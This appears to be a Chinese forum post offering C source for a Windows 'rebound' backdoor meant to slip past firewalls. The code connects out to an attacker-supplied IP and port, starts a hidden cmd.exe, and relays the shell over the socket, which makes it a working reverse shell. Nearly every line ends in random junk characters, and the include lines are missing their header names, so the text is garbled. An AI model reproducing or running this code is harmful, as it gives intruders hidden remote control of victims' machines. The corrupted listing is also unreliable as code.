这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xuioU
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/* ============================== &,&+p0CSI!
Rebound port in Windows NT 7gC?<;\0
By wind,2006/7 eAy,T<#
===============================*/
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#include MAek856
#include
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#pragma comment(lib,"wsock32.lib") /qLO/Mim
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void OutputShell(); y[_k/.1
SOCKET sClient; &6sF wK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ER"69zQg|2
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void main(int argc,char **argv) }3#\vn0gT
{ (D>_O$o
WSADATA stWsaData; ;(i6 X)
int nRet; PT/Nz+
SOCKADDR_IN stSaiClient,stSaiServer; 94tfR$W;-
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if(argc != 3) 6v)TCj/
{ SQN?[v
printf("Useage:\n\rRebound DestIP DestPort\n"); rpow@@ad<
return; xw #CwMbbi
} 1:-'euA"
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WSAStartup(MAKEWORD(2,2),&stWsaData); \=%lH =yS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6
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stSaiClient.sin_family = AF_INET; Q"&Mr+
stSaiClient.sin_port = htons(0); V*?cMJ_G
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F^%w%E\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~,)jZ-fw
{ 6W
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printf("Bind Socket Failed!\n"); d/d)MoaJ*t
return; hP6f
} B;9,Qbb
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stSaiServer.sin_family = AF_INET; :c*"Dx'D
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); io#}z4"'qY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @)Vpj\jM-C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Sdq}?- &Sa
{ F-,gj{s
printf("Connect Error!"); m.<_WXH
return; gVG^R02#<k
} {5 dVK
OutputShell(); ](r}`u%}y
} dseI~}
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void OutputShell() BE?]P?r?
{ Zl>SeTjB-
char szBuff[1024]; x1gS^9MqCB
SECURITY_ATTRIBUTES stSecurityAttributes; bDl:,7;
OSVERSIONINFO stOsversionInfo; A?YYR%o%'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K,S4
STARTUPINFO stStartupInfo; =R5W
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char *szShell; c9/w{}F
PROCESS_INFORMATION stProcessInformation; YmljHQP
unsigned long lBytesRead; "VaWZ*
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H!;N0",]N
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fJ}e
stSecurityAttributes.lpSecurityDescriptor = 0; =3(v4E':5
stSecurityAttributes.bInheritHandle = TRUE; xkSX KR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +`>7cy%cZ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uda++^y:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8^_:9&) i
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I_1?J*
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stStartupInfo.wShowWindow = SW_HIDE; Pt"K+]Ym
stStartupInfo.hStdInput = hReadPipe; P>_O :xD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ? 2}%Rb39
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GetVersionEx(&stOsversionInfo); y[McdlH m
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switch(stOsversionInfo.dwPlatformId) 67EGkW?hbt
{ =1[_#Moc6
case 1: C^q|(G)
szShell = "command.com"; 9~V'Wev
break; s9C^Cy^su
default: )WvKRp r
szShell = "cmd.exe"; I[E 6N2
break; (aYu[ML
} xOkdu k]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4&E"{d
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send(sClient,szMsg,77,0); Yo %U{/e
while(1) B~:yM1f@u4
{ Mnranhe>G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ]*NYuEgc
if(lBytesRead) V_3oAu54s{
{ F
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YI0l&'7
send(sClient,szBuff,lBytesRead,0); :}_hz )
} =Ji[ ;wy@
else NFVu~t
{ bB4FjC':
lBytesRead=recv(sClient,szBuff,1024,0); 3nBZ+n4z
if(lBytesRead<=0) break; /US% s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }wo:1v8J
} +VVn@=&?
} ]Q FI>
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return; `N[@lV\xp!
}